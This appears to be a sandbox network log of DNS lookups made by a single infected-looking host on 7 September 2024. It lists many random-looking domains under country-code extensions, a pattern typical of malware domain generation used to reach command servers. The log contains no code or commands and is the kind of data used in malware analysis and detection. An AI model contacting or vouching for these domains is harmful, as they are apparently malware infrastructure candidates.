Sep 7, 2024 15:34:16.535823107 CEST	192.168.2.3	1.1.1.1	0x8ec8	Standard query (0)	imctsikhqfmox.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:16.680529118 CEST	192.168.2.3	1.1.1.1	0x6c90	Standard query (0)	wkgxyjabnhynde.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:17.820708036 CEST	192.168.2.3	1.1.1.1	0xf10e	Standard query (0)	kowrxnw.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:17.997036934 CEST	192.168.2.3	1.1.1.1	0x5f84	Standard query (0)	kowrxnw.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:18.336199045 CEST	192.168.2.3	1.1.1.1	0x392a	Standard query (0)	xytag.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:18.833149910 CEST	192.168.2.3	1.1.1.1	0x4217	Standard query (0)	xytag.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:19.476948977 CEST	192.168.2.3	1.1.1.1	0x90b7	Standard query (0)	xnzakgk.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:19.489305973 CEST	192.168.2.3	1.1.1.1	0x7b9d	Standard query (0)	xnzakgk.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:19.961270094 CEST	192.168.2.3	1.1.1.1	0xde35	Standard query (0)	gimamgpmfgycu.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:19.973440886 CEST	192.168.2.3	1.1.1.1	0x888c	Standard query (0)	gimamgpmfgycu.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:20.086297989 CEST	192.168.2.3	1.1.1.1	0xa537	Standard query (0)	lfcwiw.ph	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:21.227032900 CEST	192.168.2.3	1.1.1.1	0xa540	Standard query (0)	vnsudgrujuqaw.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:22.382961988 CEST	192.168.2.3	1.1.1.1	0xb46d	Standard query (0)	menrzwzda.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:22.403379917 CEST	192.168.2.3	1.1.1.1	0x5efa	Standard query (0)	menrzwzda.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:22.851963043 CEST	192.168.2.3	1.1.1.1	0xf0b4	Standard query (0)	goejwtwioknhq.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:23.094985962 CEST	192.168.2.3	1.1.1.1	0x7b95	Standard query (0)	goejwtwioknhq.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:23.461278915 CEST	192.168.2.3	1.1.1.1	0xbf35	Standard query (0)	oigqdcmjr.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:23.486005068 CEST	192.168.2.3	1.1.1.1	0x379a	Standard query (0)	oigqdcmjr.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:23.664226055 CEST	192.168.2.3	1.1.1.1	0x29fa	Standard query (0)	unmzmwhqqjn.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:23.829067945 CEST	192.168.2.3	1.1.1.1	0xc238	Standard query (0)	unmzmwhqqjn.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:24.105256081 CEST	192.168.2.3	1.1.1.1	0xfd6e	Standard query (0)	iuzmbo.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:24.449109077 CEST	192.168.2.3	1.1.1.1	0xb60b	Standard query (0)	iuzmbo.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:25.195549965 CEST	192.168.2.3	1.1.1.1	0x14de	Standard query (0)	zaspgiv.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:25.359867096 CEST	192.168.2.3	1.1.1.1	0x7977	Standard query (0)	zaspgiv.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:25.635565996 CEST	192.168.2.3	1.1.1.1	0x511f	Standard query (0)	kccsaqgsvsa.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:25.678064108 CEST	192.168.2.3	1.1.1.1	0x29bd	Standard query (0)	kccsaqgsvsa.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:26.664117098 CEST	192.168.2.3	1.1.1.1	0x29bd	Standard query (0)	kccsaqgsvsa.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:26.945522070 CEST	192.168.2.3	1.1.1.1	0xb6e8	Standard query (0)	rgqgidaugywcg.ph	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:28.086059093 CEST	192.168.2.3	1.1.1.1	0x8128	Standard query (0)	dqfudtqqvpha.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:28.135274887 CEST	192.168.2.3	1.1.1.1	0xfe2e	Standard query (0)	dqfudtqqvpha.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:28.273628950 CEST	192.168.2.3	1.1.1.1	0xc60d	Standard query (0)	btmcgia.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:29.398515940 CEST	192.168.2.3	1.1.1.1	0x4718	Standard query (0)	ihigogb.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:29.548501968 CEST	192.168.2.3	1.1.1.1	0x3811	Standard query (0)	ihigogb.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:29.883182049 CEST	192.168.2.3	1.1.1.1	0xc6f0	Standard query (0)	uduywyte.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:30.167180061 CEST	192.168.2.3	1.1.1.1	0x759	Standard query (0)	uduywyte.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:30.539459944 CEST	192.168.2.3	1.1.1.1	0xdfd1	Standard query (0)	geocssarlwqkae.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:31.695586920 CEST	192.168.2.3	1.1.1.1	0x15e9	Standard query (0)	niror.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:32.293363094 CEST	192.168.2.3	1.1.1.1	0x632b	Standard query (0)	niror.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:32.476943016 CEST	192.168.2.3	1.1.1.1	0xc3ff	Standard query (0)	pqqembk.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:33.617346048 CEST	192.168.2.3	1.1.1.1	0xd80b	Standard query (0)	ukikcexuo.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:33.667399883 CEST	192.168.2.3	1.1.1.1	0x79c0	Standard query (0)	ukikcexuo.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:34.070677996 CEST	192.168.2.3	1.1.1.1	0x953d	Standard query (0)	eksogaqiy.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:34.346889019 CEST	192.168.2.3	1.1.1.1	0x2040	Standard query (0)	eksogaqiy.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:34.476872921 CEST	192.168.2.3	1.1.1.1	0xd664	Standard query (0)	gwzyu.ph	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:35.625382900 CEST	192.168.2.3	1.1.1.1	0xf85d	Standard query (0)	eqcdijeomajywh.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:35.686980963 CEST	192.168.2.3	1.1.1.1	0xfc42	Standard query (0)	eqcdijeomajywh.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:35.836473942 CEST	192.168.2.3	1.1.1.1	0x5a4c	Standard query (0)	yebwfcrq.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:35.940381050 CEST	192.168.2.3	1.1.1.1	0x4044	Standard query (0)	yebwfcrq.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:36.289177895 CEST	192.168.2.3	1.1.1.1	0xe629	Standard query (0)	ywynxne.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:36.300821066 CEST	192.168.2.3	1.1.1.1	0x367d	Standard query (0)	ywynxne.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:36.601778984 CEST	192.168.2.3	1.1.1.1	0x31ac	Standard query (0)	cefal.ph	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:37.836195946 CEST	192.168.2.3	1.1.1.1	0xa702	Standard query (0)	eiluyai.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:38.078674078 CEST	192.168.2.3	1.1.1.1	0x77f1	Standard query (0)	eiluyai.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:38.289431095 CEST	192.168.2.3	1.1.1.1	0x70a6	Standard query (0)	kkrsmqksico.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:39.414266109 CEST	192.168.2.3	1.1.1.1	0x7ff0	Standard query (0)	wlopqesa.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:40.539323092 CEST	192.168.2.3	1.1.1.1	0x7883	Standard query (0)	gceocrmsm.ph	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:41.696742058 CEST	192.168.2.3	1.1.1.1	0x623b	Standard query (0)	aynyrapy.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:41.797785997 CEST	192.168.2.3	1.1.1.1	0xbd67	Standard query (0)	aynyrapy.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:42.148536921 CEST	192.168.2.3	1.1.1.1	0xa9c	Standard query (0)	loucml.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:42.665524960 CEST	192.168.2.3	1.1.1.1	0xa0ff	Standard query (0)	loucml.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:42.882994890 CEST	192.168.2.3	1.1.1.1	0xfaf3	Standard query (0)	igeeqesxawmwom.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:43.054877996 CEST	192.168.2.3	1.1.1.1	0xe0bd	Standard query (0)	igeeqesxawmwom.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:43.336468935 CEST	192.168.2.3	1.1.1.1	0x27e5	Standard query (0)	numuqgoyj.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:43.351346970 CEST	192.168.2.3	1.1.1.1	0x99a2	Standard query (0)	numuqgoyj.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:43.477646112 CEST	192.168.2.3	1.1.1.1	0x1e86	Standard query (0)	owpuc.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:43.504169941 CEST	192.168.2.3	1.1.1.1	0x179a	Standard query (0)	owpuc.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:43.742413044 CEST	192.168.2.3	1.1.1.1	0xd63b	Standard query (0)	mxeye.ph	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:44.883780956 CEST	192.168.2.3	1.1.1.1	0x9bf5	Standard query (0)	ulwbq.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:45.104566097 CEST	192.168.2.3	1.1.1.1	0x7115	Standard query (0)	ulwbq.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:45.398727894 CEST	192.168.2.3	1.1.1.1	0xc6ae	Standard query (0)	iksgub.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:45.673911095 CEST	192.168.2.3	1.1.1.1	0xf530	Standard query (0)	iksgub.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:45.805222988 CEST	192.168.2.3	1.1.1.1	0x4e0f	Standard query (0)	skkawq.ph	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:46.929852009 CEST	192.168.2.3	1.1.1.1	0x14d4	Standard query (0)	quoxyyhgwkw.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:48.086056948 CEST	192.168.2.3	1.1.1.1	0x6060	Standard query (0)	kuhoi.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:48.347778082 CEST	192.168.2.3	1.1.1.1	0x6311	Standard query (0)	kuhoi.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:48.461164951 CEST	192.168.2.3	1.1.1.1	0x6d14	Standard query (0)	znful.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:48.473552942 CEST	192.168.2.3	1.1.1.1	0xc689	Standard query (0)	znful.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:48.601716995 CEST	192.168.2.3	1.1.1.1	0xf68c	Standard query (0)	nuijfgm.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:48.640876055 CEST	192.168.2.3	1.1.1.1	0x42ae	Standard query (0)	nuijfgm.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:49.033420086 CEST	192.168.2.3	1.1.1.1	0x4c94	Standard query (0)	owzuhlkauoavrg.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:49.066097975 CEST	192.168.2.3	1.1.1.1	0x8d2	Standard query (0)	owzuhlkauoavrg.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:49.351706982 CEST	192.168.2.3	1.1.1.1	0x3c21	Standard query (0)	goqcygcoo.ph	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:50.476728916 CEST	192.168.2.3	1.1.1.1	0xfa48	Standard query (0)	kamqc.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:50.648726940 CEST	192.168.2.3	1.1.1.1	0x58cc	Standard query (0)	kamqc.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:50.929816008 CEST	192.168.2.3	1.1.1.1	0x8807	Standard query (0)	jkknameib.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:52.273679018 CEST	192.168.2.3	1.1.1.1	0x8271	Standard query (0)	pwoawmujdqwzs.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:52.380508900 CEST	192.168.2.3	1.1.1.1	0x8019	Standard query (0)	pwoawmujdqwzs.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:52.586317062 CEST	192.168.2.3	1.1.1.1	0x4ec4	Standard query (0)	exmqudoi.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:52.757949114 CEST	192.168.2.3	1.1.1.1	0xe579	Standard query (0)	exmqudoi.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:53.039171934 CEST	192.168.2.3	1.1.1.1	0x1f1f	Standard query (0)	dqagvyickrk.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:53.074223995 CEST	192.168.2.3	1.1.1.1	0x1f81	Standard query (0)	dqagvyickrk.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:53.212034941 CEST	192.168.2.3	1.1.1.1	0x2704	Standard query (0)	useeru.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:53.387341022 CEST	192.168.2.3	1.1.1.1	0x17a9	Standard query (0)	useeru.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:53.726723909 CEST	192.168.2.3	1.1.1.1	0x5a0e	Standard query (0)	xqeappl.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:54.599335909 CEST	192.168.2.3	1.1.1.1	0xe4a0	Standard query (0)	xqeappl.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:54.945422888 CEST	192.168.2.3	1.1.1.1	0x3edb	Standard query (0)	wkuzdqsoiwy.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:54.966625929 CEST	192.168.2.3	1.1.1.1	0xb872	Standard query (0)	wkuzdqsoiwy.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:55.399301052 CEST	192.168.2.3	1.1.1.1	0x26ef	Standard query (0)	ioiqqswzikfqu.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:55.680939913 CEST	192.168.2.3	1.1.1.1	0x6070	Standard query (0)	ioiqqswzikfqu.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:55.804838896 CEST	192.168.2.3	1.1.1.1	0x7c17	Standard query (0)	ypnuaffmx.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:56.977008104 CEST	192.168.2.3	1.1.1.1	0xf532	Standard query (0)	oigusewa.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:58.102559090 CEST	192.168.2.3	1.1.1.1	0x3f8b	Standard query (0)	ocjaqgnsqfgp.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:58.353182077 CEST	192.168.2.3	1.1.1.1	0xbf8a	Standard query (0)	ocjaqgnsqfgp.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:58.695441008 CEST	192.168.2.3	1.1.1.1	0xaace	Standard query (0)	pmoodvkmiigul.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:59.836014986 CEST	192.168.2.3	1.1.1.1	0x1d61	Standard query (0)	ndqcy.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:01.054852962 CEST	192.168.2.3	1.1.1.1	0x198d	Standard query (0)	hvvgycugwh.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:01.266433001 CEST	192.168.2.3	1.1.1.1	0xd13d	Standard query (0)	hvvgycugwh.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:01.633197069 CEST	192.168.2.3	1.1.1.1	0x3b81	Standard query (0)	esqkgcss.ph	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:02.867140055 CEST	192.168.2.3	1.1.1.1	0xaefd	Standard query (0)	ithzdymit.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:03.056787014 CEST	192.168.2.3	1.1.1.1	0xf26a	Standard query (0)	ithzdymit.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:03.336199999 CEST	192.168.2.3	1.1.1.1	0x87e	Standard query (0)	uvwabzkyifixf.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:03.517728090 CEST	192.168.2.3	1.1.1.1	0xc865	Standard query (0)	uvwabzkyifixf.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:03.790551901 CEST	192.168.2.3	1.1.1.1	0x861c	Standard query (0)	kuikdooag.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:03.842611074 CEST	192.168.2.3	1.1.1.1	0xf5e4	Standard query (0)	kuikdooag.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:04.008194923 CEST	192.168.2.3	1.1.1.1	0x804d	Standard query (0)	kpntwewjtai.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:04.291136026 CEST	192.168.2.3	1.1.1.1	0x460c	Standard query (0)	kpntwewjtai.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:04.648567915 CEST	192.168.2.3	1.1.1.1	0x2cc6	Standard query (0)	kwfciphqs.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:04.686811924 CEST	192.168.2.3	1.1.1.1	0xa22c	Standard query (0)	kwfciphqs.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:04.824429035 CEST	192.168.2.3	1.1.1.1	0xe69b	Standard query (0)	xugukhmkcsvw.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:04.880748987 CEST	192.168.2.3	1.1.1.1	0xf622	Standard query (0)	xugukhmkcsvw.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:05.033940077 CEST	192.168.2.3	1.1.1.1	0x19f2	Standard query (0)	nukeecapkuanq.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:05.104228020 CEST	192.168.2.3	1.1.1.1	0x26ef	Standard query (0)	nukeecapkuanq.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:05.263096094 CEST	192.168.2.3	1.1.1.1	0x1438	Standard query (0)	gyjdfapyghm.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:05.296425104 CEST	192.168.2.3	1.1.1.1	0x98a0	Standard query (0)	gyjdfapyghm.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:05.680516958 CEST	192.168.2.3	1.1.1.1	0xa4db	Standard query (0)	oooaehqkyge.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:05.947834015 CEST	192.168.2.3	1.1.1.1	0x8f60	Standard query (0)	oooaehqkyge.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:06.228741884 CEST	192.168.2.3	1.1.1.1	0x78cc	Standard query (0)	wcwxa.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:06.678816080 CEST	192.168.2.3	1.1.1.1	0x4a11	Standard query (0)	wcwxa.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:07.367291927 CEST	192.168.2.3	1.1.1.1	0x186e	Standard query (0)	taiqjio.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:08.539671898 CEST	192.168.2.3	1.1.1.1	0x5d2	Standard query (0)	qaeebwmdz.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:08.652331114 CEST	192.168.2.3	1.1.1.1	0x4838	Standard query (0)	qaeebwmdz.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:08.837205887 CEST	192.168.2.3	1.1.1.1	0x21c9	Standard query (0)	qcqdo.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:08.852313995 CEST	192.168.2.3	1.1.1.1	0x6581	Standard query (0)	qcqdo.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:08.980437040 CEST	192.168.2.3	1.1.1.1	0x3f3a	Standard query (0)	yklznhasrec.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:10.211081982 CEST	192.168.2.3	1.1.1.1	0x7500	Standard query (0)	kcvsysu.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:10.325246096 CEST	192.168.2.3	1.1.1.1	0x1d20	Standard query (0)	kcvsysu.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:10.524601936 CEST	192.168.2.3	1.1.1.1	0x6299	Standard query (0)	fbkzqsqod.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:10.707549095 CEST	192.168.2.3	1.1.1.1	0xe1cc	Standard query (0)	fbkzqsqod.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:11.100004911 CEST	192.168.2.3	1.1.1.1	0x388f	Standard query (0)	sbpgpqw.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:12.463551044 CEST	192.168.2.3	1.1.1.1	0x75ba	Standard query (0)	kuchksikknk.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:13.472991943 CEST	192.168.2.3	1.1.1.1	0xe47a	Standard query (0)	kuchksikknk.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:13.621117115 CEST	192.168.2.3	1.1.1.1	0x9906	Standard query (0)	ggaksi.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:13.681674004 CEST	192.168.2.3	1.1.1.1	0x4d61	Standard query (0)	ggaksi.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:13.820326090 CEST	192.168.2.3	1.1.1.1	0xc3ad	Standard query (0)	canqk.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:14.074525118 CEST	192.168.2.3	1.1.1.1	0x79e0	Standard query (0)	canqk.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:14.367537022 CEST	192.168.2.3	1.1.1.1	0x454f	Standard query (0)	gnwseqckkmly.ph	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:15.493788958 CEST	192.168.2.3	1.1.1.1	0x97cc	Standard query (0)	umwkoadmhbrsv.ph	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:16.649910927 CEST	192.168.2.3	1.1.1.1	0xf2c0	Standard query (0)	mauzahxbhdyxg.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:16.670865059 CEST	192.168.2.3	1.1.1.1	0xb9db	Standard query (0)	mauzahxbhdyxg.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:16.789272070 CEST	192.168.2.3	1.1.1.1	0x92ca	Standard query (0)	garuyix.ph	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:17.929928064 CEST	192.168.2.3	1.1.1.1	0xe38c	Standard query (0)	biguscy.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:19.117528915 CEST	192.168.2.3	1.1.1.1	0x7a3b	Standard query (0)	mokurs.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:19.146959066 CEST	192.168.2.3	1.1.1.1	0x83b5	Standard query (0)	mokurs.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:19.835948944 CEST	192.168.2.3	1.1.1.1	0xed5e	Standard query (0)	raqumygq.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:20.180841923 CEST	192.168.2.3	1.1.1.1	0x601d	Standard query (0)	raqumygq.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:20.305366993 CEST	192.168.2.3	1.1.1.1	0x2cbb	Standard query (0)	yuyoyuv.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:20.345472097 CEST	192.168.2.3	1.1.1.1	0x7349	Standard query (0)	yuyoyuv.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:20.464687109 CEST	192.168.2.3	1.1.1.1	0x51c4	Standard query (0)	kikcvucesim.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:20.651670933 CEST	192.168.2.3	1.1.1.1	0x8839	Standard query (0)	kikcvucesim.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:20.945980072 CEST	192.168.2.3	1.1.1.1	0xe7de	Standard query (0)	kcscgoyucqmkq.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:21.228688002 CEST	192.168.2.3	1.1.1.1	0x2243	Standard query (0)	kcscgoyucqmkq.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:21.352878094 CEST	192.168.2.3	1.1.1.1	0x6cad	Standard query (0)	yktgacfquni.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:21.392052889 CEST	192.168.2.3	1.1.1.1	0xafd7	Standard query (0)	yktgacfquni.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:21.523459911 CEST	192.168.2.3	1.1.1.1	0xaced	Standard query (0)	cczqvvmimawca.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:22.539344072 CEST	192.168.2.3	1.1.1.1	0xaced	Standard query (0)	cczqvvmimawca.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:22.573402882 CEST	192.168.2.3	1.1.1.1	0xface	Standard query (0)	cczqvvmimawca.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:22.742230892 CEST	192.168.2.3	1.1.1.1	0xe0d2	Standard query (0)	btnmut.ph	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:22.944164991 CEST	192.168.2.3	1.1.1.1	0x38c4	Standard query (0)	btnmut.ph	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:24.586899996 CEST	192.168.2.3	1.1.1.1	0x3200	Standard query (0)	gdogxorcsmzygq.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:24.756530046 CEST	192.168.2.3	1.1.1.1	0xb800	Standard query (0)	gdogxorcsmzygq.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:25.054883957 CEST	192.168.2.3	1.1.1.1	0xc586	Standard query (0)	zmiqslgt.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:25.067303896 CEST	192.168.2.3	1.1.1.1	0xa770	Standard query (0)	zmiqslgt.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:25.180449009 CEST	192.168.2.3	1.1.1.1	0x1385	Standard query (0)	rivawyyqgqsd.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:25.377437115 CEST	192.168.2.3	1.1.1.1	0x62f2	Standard query (0)	rivawyyqgqsd.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:25.664405107 CEST	192.168.2.3	1.1.1.1	0xddea	Standard query (0)	vrkofomkuzuymp.ph	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:26.872709990 CEST	192.168.2.3	1.1.1.1	0x9522	Standard query (0)	mpdiexrzqka.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:26.973640919 CEST	192.168.2.3	1.1.1.1	0x659d	Standard query (0)	mpdiexrzqka.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:27.398929119 CEST	192.168.2.3	1.1.1.1	0x3d31	Standard query (0)	dekso.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:27.436475992 CEST	192.168.2.3	1.1.1.1	0xdcd1	Standard query (0)	dekso.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:27.556766987 CEST	192.168.2.3	1.1.1.1	0x8612	Standard query (0)	nswqqljcwe.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:27.632170916 CEST	192.168.2.3	1.1.1.1	0x3b38	Standard query (0)	nswqqljcwe.rw	A (IP address)	IN (0x0001)	false
